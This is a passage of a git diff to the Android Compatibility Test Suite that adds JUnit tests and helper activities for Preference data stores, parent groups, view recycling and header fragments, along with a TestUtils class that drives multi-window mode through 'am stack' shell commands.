+    @Test
+    public void testGetBooleanWithDataStoreOnMgr() {
+        mManager.setPreferenceDataStore(mDataStore);
+        mScreen.addPreference(mPreference);
+        mPreference.getBoolean(true);
+        verify(mDataStore, atLeastOnce()).getBoolean(eq(KEY), eq(true));
+    }
+
+    /**
+     * When {@link PreferenceDataStore} is NOT assigned, the getter for SharedPreferences should not
+     * return null.
+     */
+    @Test
+    public void testSharedPrefNotNullIfNoDS() {
+        mScreen.addPreference(mPreference);
+        assertNotNull(mPreference.getSharedPreferences());
+        assertNotNull(mPreference.getEditor());
+    }
+
+    /**
+     * When {@link PreferenceDataStore} is NOT assigned, the getter for SharedPreferences must not
+     * return null for PreferenceManager.
+     */
+    @Test
+    public void testSharedPrefNotNullIfNoDSMgr() {
+        assertNotNull(mManager.getSharedPreferences());
+    }
+
+    /**
+     * When {@link PreferenceDataStore} is assigned, the getter for SharedPreferences has to return
+     * null.
+     */
+    @Test
+    public void testSharedPrefNullIfWithDS() {
+        mScreen.addPreference(mPreference);
+        mPreference.setPreferenceDataStore(mDataStore);
+        assertNull(mPreference.getSharedPreferences());
+        assertNull(mPreference.getEditor());
+    }
+
+    /**
+     * When {@link PreferenceDataStore} is assigned, the getter for SharedPreferences has to return
+     * null for PreferenceManager.
+     */
+    @Test
+    public void testSharedPrefNullIfWithDSMgr() {
+        mManager.setPreferenceDataStore(mDataStore);
+        assertNull(mManager.getSharedPreferences());
+    }
+
+    /**
+     * Wrapper to allow to easily call protected methods.
+     */
+    private static class PreferenceWrapper extends Preference {
+
+        Object defaultValue;
+
+        PreferenceWrapper(Context context) {
+            super(context);
+        }
+
+        void putString(String value) {
+            persistString(value);
+        }
+
+        String getString(String defaultValue) {
+            return getPersistedString(defaultValue);
+        }
+
+        void putStringSet(Set<String> values) {
+            persistStringSet(values);
+        }
+
+        Set<String> getStringSet(Set<String> defaultValues) {
+            return getPersistedStringSet(defaultValues);
+        }
+
+        void putInt(int value) {
+            persistInt(value);
+        }
+
+        int getInt(int defaultValue) {
+            return getPersistedInt(defaultValue);
+        }
+
+        void putLong(long value) {
+            persistLong(value);
+        }
+
+        long getLong(long defaultValue) {
+            return getPersistedLong(defaultValue);
+        }
+
+        void putFloat(float value) {
+            persistFloat(value);
+        }
+
+        float getFloat(float defaultValue) {
+            return getPersistedFloat(defaultValue);
+        }
+
+        void putBoolean(boolean value) {
+            persistBoolean(value);
+        }
+
+        boolean getBoolean(boolean defaultValue) {
+            return getPersistedBoolean(defaultValue);
+        }
+
+        @Override
+        protected void onSetInitialValue(boolean restorePersistedValue, Object defaultValue) {
+            this.defaultValue = defaultValue;
+            super.onSetInitialValue(restorePersistedValue, defaultValue);
+        }
+    }
+
+}
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceFragmentActivity.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceFragmentActivity.java
index 4f12d17..8b7a6d9 100644
--- a/tests/tests/preference2/src/android/preference2/cts/PreferenceFragmentActivity.java
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceFragmentActivity.java
@@ -13,12 +13,14 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
- package android.preference2.cts;
+package android.preference2.cts;
 
 import android.app.Activity;
 import android.app.FragmentTransaction;
 import android.os.Bundle;
+import android.preference.Preference;
 import android.preference.PreferenceFragment;
+import android.preference.PreferenceScreen;
 
 /**
  * Demonstration of PreferenceFragment, showing a single fragment in an
@@ -31,14 +33,15 @@
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        prefFragment = new PrefFragment();
 
-        FragmentTransaction transaction = getFragmentManager().beginTransaction()
-                .replace(android.R.id.content, prefFragment, PrefFragment.TAG);
-        transaction.commit();
+        prefFragment = new PrefFragment();
+        getFragmentManager()
+                .beginTransaction()
+                .replace(android.R.id.content, prefFragment, PrefFragment.TAG)
+                .commit();
     }
 
-    public class PrefFragment extends PreferenceFragment {
+    public static class PrefFragment extends PreferenceFragment {
         public static final String TAG = "Pref-1";
 
         public PrefFragment() {
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceParentGroupTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceParentGroupTest.java
new file mode 100644
index 0000000..a645dc8
--- /dev/null
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceParentGroupTest.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.preference2.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.preference.CheckBoxPreference;
+import android.preference.PreferenceCategory;
+import android.preference.PreferenceScreen;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.test.UiThreadTest;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for {@link android.preference.Preference#getParent()} feature.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PreferenceParentGroupTest {
+
+    private PreferencesFromXmlNested mActivity;
+
+    @Rule
+    public ActivityTestRule<PreferencesFromXmlNested> mActivityRule =
+            new ActivityTestRule<>(PreferencesFromXmlNested.class);
+
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    /**
+     * Tests that parent PreferenceGroup is correctly assigned and removed when creating preferences
+     * from code.
+     */
+    @Test
+    @UiThreadTest
+    public void parentViaCodeTest() {
+        PreferenceScreen screen = mActivity.getPreferenceScreen();
+        assertNull(screen.getParent());
+
+        PreferenceCategory category = new PreferenceCategory(mActivity);
+        assertNull(category.getParent());
+
+        CheckBoxPreference pref = new CheckBoxPreference(mActivity);
+        assertNull(pref.getParent());
+
+        screen.addPreference(category);
+        assertEquals(screen, category.getParent());
+
+        category.addPreference(pref);
+        assertEquals(category, pref.getParent());
+
+        screen.removePreference(category);
+        assertNull(category.getParent());
+
+        category.removePreference(pref);
+        assertNull(pref.getParent());
+    }
+
+    /**
+     * Tests that parent PreferenceGroup is correctly assigned during inflation and can be modified.
+     * To see the tested hierarchy check pref_nested.xml.
+     */
+    @Test
+    @UiThreadTest
+    public void parentViaInflationTest() {
+        PreferenceScreen screen = mActivity.getPreferenceScreen();
+
+        PreferenceCategory category = (PreferenceCategory) screen.findPreference("pref_category");
+        assertNotNull(category);
+
+        PreferenceScreen screenInner =
+                (PreferenceScreen) screen.findPreference("pref_screen_inner");
+        assertNotNull(screenInner);
+
+        CheckBoxPreference pref = (CheckBoxPreference) screen.findPreference("pref_checkbox");
+        assertNotNull(pref);
+
+        // Validate parents
+        assertEquals(screen, category.getParent());
+        assertEquals(category, screenInner.getParent());
+        assertEquals(screenInner, pref.getParent());
+
+        // Remove and validate
+        pref.getParent().removePreference(pref);
+        assertNull(pref.getParent());
+        assertEquals(0, screenInner.getPreferenceCount());
+    }
+
+    /**
+     * Adds preference into two different groups without removing it first.
+     */
+    @Test
+    @UiThreadTest
+    public void parentDoubleAddTest() throws InterruptedException {
+        PreferenceScreen screen = mActivity.getPreferenceScreen();
+
+        PreferenceCategory category = new PreferenceCategory(mActivity);
+        screen.addPreference(category);
+
+        PreferenceCategory category2 = new PreferenceCategory(mActivity);
+        screen.addPreference(category2);
+
+        CheckBoxPreference pref = new CheckBoxPreference(mActivity);
+        assertNull(pref.getParent());
+
+        category.addPreference(pref);
+        category2.addPreference(pref);
+
+        assertEquals(category2, pref.getParent());
+    }
+}
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceRecycleTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceRecycleTest.java
new file mode 100644
index 0000000..9d0242d
--- /dev/null
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceRecycleTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.preference2.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.preference.Preference;
+import android.preference.PreferenceScreen;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.test.UiThreadTest;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for {@link android.preference.Preference#setRecycleEnabled()} API.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class PreferenceRecycleTest {
+
+    private PreferencesFromXmlRecycle mActivity;
+
+    private static int TIMEOUT_MS = 5000;
+
+    @Rule
+    public ActivityTestRule<PreferencesFromXmlRecycle> mActivityRule =
+            new ActivityTestRule<>(PreferencesFromXmlRecycle.class);
+
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    /**
+     * Tests that recycling is enabled as default.
+     */
+    @Test
+    @UiThreadTest
+    public void recycleIsOnByDefaultTest() {
+        CustomCheckBoxPreference pref = new CustomCheckBoxPreference(mActivity);
+        assertTrue(pref.isRecycleEnabled());
+    }
+
+    @Test
+    @UiThreadTest
+    public void recycleSetGetTest() {
+        Preference pref = new Preference(mActivity);
+        pref.setRecycleEnabled(false);
+        assertFalse(pref.isRecycleEnabled());
+    }
+
+    /**
+     * Tests that recycleEnabled attribute is correctly reflected when defined via XLM.
+     */
+    @Test
+    public void recycleSetViaXmlTest() throws Throwable {
+        PreferenceScreen screen = mActivity.getPreferenceScreen();
+
+        RecycleCheckPreference recyclePref =
+                (RecycleCheckPreference)screen.findPreference("pref_checkbox_recycle");
+        RecycleCheckPreference noRecyclePref =
+                (RecycleCheckPreference)screen.findPreference("pref_checkbox_no_recycle");
+
+        // At the beginning the views must be always created (no recycling involved).
+        assertEquals(1, recyclePref.getViewCalledCnt);
+        assertTrue(recyclePref.wasConvertViewNullInLastCall);
+
+        assertEquals(1, noRecyclePref.getViewCalledCnt);
+        assertTrue(noRecyclePref.wasConvertViewNullInLastCall);
+
+        // Change a value of some pref to force the list to refresh
+        mActivityRule.runOnUiThread(() -> recyclePref.setChecked(!recyclePref.isChecked()));
+
+        // Wait for the list to refresh
+        PollingCheck.waitFor(TIMEOUT_MS,
+                () -> recyclePref.getViewCalledCnt == 2 && noRecyclePref.getViewCalledCnt == 2);
+
+        assertEquals(2, recyclePref.getViewCalledCnt);
+        assertFalse(recyclePref.wasConvertViewNullInLastCall); // Recycling
+
+        assertEquals(2, noRecyclePref.getViewCalledCnt);
+        assertTrue(noRecyclePref.wasConvertViewNullInLastCall); // Not recycling
+    }
+
+    /**
+     * Tests that recycleEnabled attribute is correctly reflected when defined via
+     * {@link android.preference.Preference#setRecycleEnabled}.
+     */
+    @Test
+    public void recycleSetViaCodeTest() throws Throwable {
+
+        final PreferenceScreen screen = mActivity.getPreferenceScreen();
+
+        mActivityRule.runOnUiThread(() -> {
+            RecycleCheckPreference recyclePref = new RecycleCheckPreference(mActivity);
+            recyclePref.setKey("recyclePref");
+            recyclePref.setRecycleEnabled(true);
+            screen.addPreference(recyclePref);
+
+            RecycleCheckPreference noRecyclePref = new RecycleCheckPreference(mActivity);
+            noRecyclePref.setKey("noRecyclePref");
+            noRecyclePref.setRecycleEnabled(false);
+            screen.addPreference(noRecyclePref);
+        });
+
+        // Grab the preferences we just created on the Ui thread.
+        RecycleCheckPreference recyclePref =
+                (RecycleCheckPreference)screen.findPreference("recyclePref");
+        RecycleCheckPreference noRecyclePref =
+                (RecycleCheckPreference)screen.findPreference("noRecyclePref");
+
+        // Wait for the views to be created
+        PollingCheck.waitFor(TIMEOUT_MS,
+                () -> recyclePref.getViewCalledCnt == 1 && noRecyclePref.getViewCalledCnt == 1);
+
+        // At the beginning the views must be always created (no recycling involved).
+        assertEquals(1, recyclePref.getViewCalledCnt);
+        assertTrue(recyclePref.wasConvertViewNullInLastCall);
+
+        assertEquals(1, noRecyclePref.getViewCalledCnt);
+        assertTrue(noRecyclePref.wasConvertViewNullInLastCall);
+
+        // Change a value of some pref to force the list to refresh
+        mActivityRule.runOnUiThread(() -> recyclePref.setChecked(!recyclePref.isChecked()));
+
+        // Wait for the list to refresh
+        PollingCheck.waitFor(TIMEOUT_MS,
+                () -> recyclePref.getViewCalledCnt == 2 && noRecyclePref.getViewCalledCnt == 2);
+
+        assertEquals(2, recyclePref.getViewCalledCnt);
+        assertFalse(recyclePref.wasConvertViewNullInLastCall); // Recycling
+
+        assertEquals(2, noRecyclePref.getViewCalledCnt);
+        assertTrue(noRecyclePref.wasConvertViewNullInLastCall); // Not recycling
+    }
+}
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceTest.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceTest.java
index b2907f3..6b36fee 100644
--- a/tests/tests/preference2/src/android/preference2/cts/PreferenceTest.java
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceTest.java
@@ -24,6 +24,11 @@
 
 import android.preference2.cts.R;
 
+import java.util.HashSet;
+import java.util.Set;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+
 public class PreferenceTest
         extends ActivityInstrumentationTestCase2<PreferenceFromCodeActivity> {
 
@@ -232,6 +237,24 @@
         }
     }
 
+    public void testPersistStringSet() {
+        CustomPreference mCustomPreference = new CustomPreference(mActivity);
+        String key = "" + Math.random();
+        mCustomPreference.setKey(key);
+        PreferenceGroup mPreferenceGroup = (PreferenceGroup) mActivity.findPreference(
+                "pref-group");
+        mPreferenceGroup.addPreference(mCustomPreference);
+        try {
+            Set<String> expected = Stream.of("a", "b", "c").collect(Collectors.toSet());
+            boolean result = mCustomPreference.persistStringSet(expected);
+            assertTrue(result);
+            Set<String> actual = mCustomPreference.getPersistedStringSet(new HashSet<>());
+            assertEquals(expected, actual);
+        } finally {
+            mPreferenceGroup.removePreference(mCustomPreference);
+        }
+    }
+
     public void testPersistFloat() {
         CustomPreference mCustomPreference = new CustomPreference(mActivity);
         String key = "" + Math.random();
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceWithHeaders.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceWithHeaders.java
index a44cb7e..db1c5b6 100644
--- a/tests/tests/preference2/src/android/preference2/cts/PreferenceWithHeaders.java
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceWithHeaders.java
@@ -19,8 +19,9 @@
 import android.os.Bundle;
 import android.preference.PreferenceActivity;
 import android.preference.PreferenceFragment;
-import android.widget.Button;
 import android.preference2.cts.R;
+import android.widget.Button;
+
 import java.util.List;
 
 /**
@@ -29,6 +30,12 @@
  */
 
 public class PreferenceWithHeaders extends PreferenceActivity {
+
+    // For tests to verify if the headers were loaded.
+    List<Header> loadedHeaders;
+
+    boolean onCreateFinished;
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -38,6 +45,7 @@
             button.setText("Some action");
             setListFooter(button);
         }
+        onCreateFinished = true;
     }
 
     /*
@@ -45,7 +53,9 @@
      * above.
      */
     protected boolean isValidFragment(String fragment) {
-        return PrefsOneFragment.class.getName().equals(fragment);
+        return PrefsOneFragment.class.getName().equals(fragment)
+                || PrefsTwoFragment.class.getName().equals(fragment)
+                || PrefsOneFragmentInner.class.getName().equals(fragment);
     }
 
     /**
@@ -53,6 +63,7 @@
      */
     @Override
     public void onBuildHeaders(List<Header> target) {
+        loadedHeaders = target;
         loadHeadersFromResource(R.xml.preference_headers, target);
     }
 
@@ -63,5 +74,21 @@
             addPreferencesFromResource(R.xml.preferences);
         }
     }
+
+    public static class PrefsTwoFragment extends PreferenceFragment {
+        @Override
+        public void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            addPreferencesFromResource(R.xml.preferences2);
+        }
+    }
+
+    public static class PrefsOneFragmentInner extends PreferenceFragment {
+        @Override
+        public void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            addPreferencesFromResource(R.xml.fragmented_preferences_inner);
+        }
+    }
 }
 
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceWithHeadersLandscape.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceWithHeadersLandscape.java
new file mode 100644
index 0000000..004b3ab
--- /dev/null
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceWithHeadersLandscape.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.preference2.cts;
+
+/**
+ * Landscape alias of {@link PreferenceWithHeaders} for {@link PreferenceActivityFlowTest}.
+ */
+public class PreferenceWithHeadersLandscape extends PreferenceWithHeaders {
+}
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferenceWithHeadersPortrait.java b/tests/tests/preference2/src/android/preference2/cts/PreferenceWithHeadersPortrait.java
new file mode 100644
index 0000000..438a55d
--- /dev/null
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferenceWithHeadersPortrait.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.preference2.cts;
+
+/**
+ * Portrait alias of {@link PreferenceWithHeaders} for {@link PreferenceActivityFlowTest}.
+ */
+public class PreferenceWithHeadersPortrait extends PreferenceWithHeaders {
+}
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferencesFromXmlNested.java b/tests/tests/preference2/src/android/preference2/cts/PreferencesFromXmlNested.java
new file mode 100644
index 0000000..df31c1e
--- /dev/null
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferencesFromXmlNested.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.preference2.cts;
+
+import android.os.Bundle;
+import android.preference.PreferenceActivity;
+import android.preference2.cts.R;
+
+public class PreferencesFromXmlNested extends PreferenceActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        addPreferencesFromResource(R.xml.pref_nested);
+    }
+}
diff --git a/tests/tests/preference2/src/android/preference2/cts/PreferencesFromXmlRecycle.java b/tests/tests/preference2/src/android/preference2/cts/PreferencesFromXmlRecycle.java
new file mode 100644
index 0000000..428e536
--- /dev/null
+++ b/tests/tests/preference2/src/android/preference2/cts/PreferencesFromXmlRecycle.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.preference2.cts;
+
+import android.os.Bundle;
+import android.preference.PreferenceActivity;
+import android.preference2.cts.R;
+
+public class PreferencesFromXmlRecycle extends PreferenceActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        addPreferencesFromResource(R.xml.pref_recycle);
+    }
+}
diff --git a/tests/tests/preference2/src/android/preference2/cts/RecycleCheckPreference.java b/tests/tests/preference2/src/android/preference2/cts/RecycleCheckPreference.java
new file mode 100644
index 0000000..10e1c40
--- /dev/null
+++ b/tests/tests/preference2/src/android/preference2/cts/RecycleCheckPreference.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.preference2.cts;
+
+import android.content.Context;
+import android.preference.CheckBoxPreference;
+import android.util.AttributeSet;
+import android.view.View;
+import android.view.ViewGroup;
+
+/**
+ * Preference wrapper designed to help to verify whether the preference is recycled by logging calls
+ * of {@link #getView(View, ViewGroup)}
+ */
+public class RecycleCheckPreference extends CheckBoxPreference {
+
+    /**
+     * How many times was the {@link #getView(View, ViewGroup)} method called during the lifetime.
+     */
+    int getViewCalledCnt;
+
+    /**
+     * Whether the convert view param was null during the last call of
+     * {@link #getView(View, ViewGroup)}
+     */
+    boolean wasConvertViewNullInLastCall;
+
+
+    public RecycleCheckPreference(Context context, AttributeSet attrs,
+            int defStyleAttr) {
+        super(context, attrs, defStyleAttr);
+    }
+
+    public RecycleCheckPreference(Context context, AttributeSet attrs, int defStyleAttr,
+            int defStyleRes) {
+        super(context, attrs, defStyleAttr, defStyleRes);
+    }
+
+    public RecycleCheckPreference(Context context, AttributeSet attrs) {
+        super(context, attrs);
+    }
+
+    public RecycleCheckPreference(Context context) {
+        super(context);
+    }
+
+    @Override
+    public View getView(View convertView, ViewGroup parent) {
+        getViewCalledCnt++;
+        wasConvertViewNullInLastCall = convertView == null;
+
+        return super.getView(convertView, parent);
+    }
+}
diff --git a/tests/tests/preference2/src/android/preference2/cts/TestUtils.java b/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
new file mode 100644
index 0000000..6fdeff4
--- /dev/null
+++ b/tests/tests/preference2/src/android/preference2/cts/TestUtils.java
@@ -0,0 +1,204 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.preference2.cts;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.app.UiModeManager;
+import android.content.Context;
+import android.content.res.Configuration;
+import android.graphics.Bitmap;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
+import android.support.test.uiautomator.UiSelector;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.io.IOException;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Collection of helper utils for preferences testing.
+ */
+public class TestUtils {
+
+    final UiDevice device;
+    private final Instrumentation mInstrumentation;
+    private final UiAutomation mAutomation;
+
+    TestUtils() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        device = UiDevice.getInstance(mInstrumentation);
+        mAutomation = mInstrumentation.getUiAutomation();
+    }
+
+    Bitmap takeScreenshot() {
+        // Only take screenshot once the screen is stable enough.
+        device.waitForIdle();
+
+        Bitmap bt = mAutomation.takeScreenshot();
+        // Crop-out the top bar where current time is displayed since any time change would
+        // introduce flakiness (we are cutting 5% of the screen height).
+        int yToCut = bt.getHeight() / 20;
+        // Crop the right side for scrollbar which might or might not be visible. But on
+        // watch, the scroll bar is a curve and occupies 20% of the screen on the right
+        // hand side.
+        int xToCut = isOnWatchUiMode() ? bt.getWidth() / 5 : bt.getWidth() / 20;
+        bt = Bitmap.createBitmap(
+                bt, 0, yToCut, bt.getWidth() - xToCut, bt.getHeight() - yToCut);
+
+        return bt;
+    }
+
+    void tapOnViewWithText(String searchText) {
+        if (searchText == null) {
+            return;
+        }
+
+        try {
+          // If the current UI has shown text, just click on it.
+          UiObject text = new UiObject(new UiSelector().text(searchText));
+          if (text.exists() || text.waitForExists(1000)) {
+            text.click();
+            return;
+          }
+
+          // Otherwise, if it is scrollable, scroll to where the text is and tap.
+          UiScrollable textScroll =  new UiScrollable(new UiSelector().scrollable(true));
+
+          textScroll.scrollIntoView(new UiSelector().text(searchText));
+          text = new UiObject(new UiSelector().text(searchText));
+          text.click();
+        } catch (UiObjectNotFoundException e) {
+          throw new AssertionError("View with text '" + searchText + "' was not found!", e);
+        }
+    }
+
+    boolean isTextShown(String searchText) {
+        if (searchText == null) {
+            return false;
+        }
+
+        UiObject text = new UiObject(new UiSelector().text(searchText));
+        if (text.exists() || text.waitForExists(1000)) {
+            return true;
+        }
+
+        UiScrollable textScroll = new UiScrollable(new UiSelector().scrollable(true));
+        try {
+            return textScroll.scrollIntoView(new UiSelector().text(searchText));
+        } catch (UiObjectNotFoundException e) {
+            return false;
+        }
+    }
+
+    boolean isTextHidden(String text) {
+        UiObject obj = device.findObject(new UiSelector().textMatches(text));
+        if (!obj.exists()) {
+            return true;
+        }
+        return obj.waitUntilGone(1000);
+    }
+
+    boolean isTextFocused(String text) {
+        UiObject obj = device.findObject(new UiSelector().textMatches(text));
+        try {
+            return obj.isFocused();
+        } catch(UiObjectNotFoundException e) {
+            return false;
+        }
+    }
+
+    boolean isOnWatchUiMode() {
+        Context context = mInstrumentation.getTargetContext();
+        UiModeManager uiModeManager = context.getSystemService(UiModeManager.class);
+        return uiModeManager.getCurrentModeType() == Configuration.UI_MODE_TYPE_WATCH;
+    }
+
+    void getMultiWindowFocus(Context context) {
+        // Get window focus (otherwise back press would close multi-window instead of firing to the
+        // Activity and also the automator would fail to find objects on the screen.
+        // We want to click slightly below status bar in the 1/3 of width of the screen.
+        int x = device.getDisplayWidth() / 3;
+        int resourceId =
+                context.getResources().getIdentifier("status_bar_height", "dimen", "android");
+        int statusBarHeight =
+                (resourceId > 0) ? context.getResources().getDimensionPixelSize(resourceId) : 0;
+        device.click(x, 2 * statusBarHeight);
+    }
+
+    // Multi-window helpers taken from ActivityManagerDockedStackTests.java
+
+    void enterMultiWindow(Activity activity)  {
+        try {
+            int id = getActivityTaskId(activity);
+            runShellCommand("am stack move-task " + id + " 3 true");
+        } catch (IOException e) {
+            throw new RuntimeException("Failed to get activity task id!", e);
+        }
+        SystemClock.sleep(5000);
+    }
+
+    void leaveMultiWindow(Activity activity) {
+        try {
+            int id = getActivityTaskId(activity);
+            runShellCommand("am stack move-task "+ id +" 1 true");
+        } catch (IOException e) {
+            throw new RuntimeException("Failed to get activity task id!", e);
+        }
+        SystemClock.sleep(5000);
+    }
+
+    private int getActivityTaskId(Activity activity) throws IOException {
+        // Taken from ActivityManagerTestBase.java
+        final String output = runShellCommand("am stack list");
+        final Pattern activityPattern =
+                Pattern.compile("(.*) " + getWindowName(activity) + " (.*)");
+        for (String line : output.split("\\n")) {
+            Matcher matcher = activityPattern.matcher(line);
+            if (matcher.matches()) {
+                for (String word : line.split("\\s+")) {
+                    if (word.startsWith("taskId")) {
+                        final String withColon = word.split("=")[1];
+                        return Integer.parseInt(withColon.substring(0, withColon.length() - 1));
+                    }
+                }
+            }
+        }
+        return -1;
+    }
+
+    private String getWindowName(Activity activity) {
+        String componentName = activity.getPackageName();
+        String baseWindowName = componentName + "/" + componentName + ".";
+        return baseWindowName + activity.getClass().getSimpleName();
+    }
+
+    private String runShellCommand(String cmd) {
+        try {
+            return SystemUtil.runShellCommand(mInstrumentation, cmd);
+        } catch (IOException e) {
+            throw new RuntimeException("Failed to run command: " + cmd, e);
+        }
+    }
+}
